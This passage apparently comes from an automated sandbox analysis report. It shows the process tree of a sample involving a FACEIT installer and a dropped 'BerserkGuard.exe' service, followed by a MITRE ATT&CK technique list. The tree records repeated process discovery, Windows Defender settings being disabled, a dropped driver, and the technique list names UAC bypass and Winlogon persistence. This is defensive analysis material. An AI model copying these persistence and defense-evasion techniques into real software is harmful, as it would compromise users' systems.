        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3580
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2756
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:600
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:804
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1556
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4668
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4384
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        
        PID:6048
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:6132
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4340
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1944
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2608
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4428
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2488
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1232
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3148
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2072
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5684
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1744
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3800
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2564
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3696
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:916
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1732
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4884
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:3212
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        Discovers running processes
        
        PID:5720
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5788
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:4544
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3392
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4484
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2024
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3436
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3776
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2440
  - - C:\Program Files\WindowsOptions\FACEITInstaller_64.exe
      "C:\Program Files\WindowsOptions\FACEITInstaller_64.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3124
    - - C:\Users\Admin\AppData\Local\Temp\is-H4MHVBCSS6.tmp\FACEITInstaller_64.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-H4MHVBCSS6.tmp\FACEITInstaller_64.tmp" /SL5="$10006E,78251674,1136640,C:\Program Files\WindowsOptions\FACEITInstaller_64.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5556

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe" --service
1⤵
- Executes dropped EXE
PID:1192

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe" --service
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5164
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" qfailure BerserkGuard
  2⤵
  - Launches sc.exe
  PID:2888

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2616
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" qfailure BerserkGuard
  2⤵
  - Launches sc.exe
  PID:5376

C:\Windows\System32\drivers\GameDriverX64.sys
C:\Windows\System32\drivers\GameDriverX64.sys
1⤵
- Executes dropped EXE
PID:5320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
PID:3596

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:3732

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry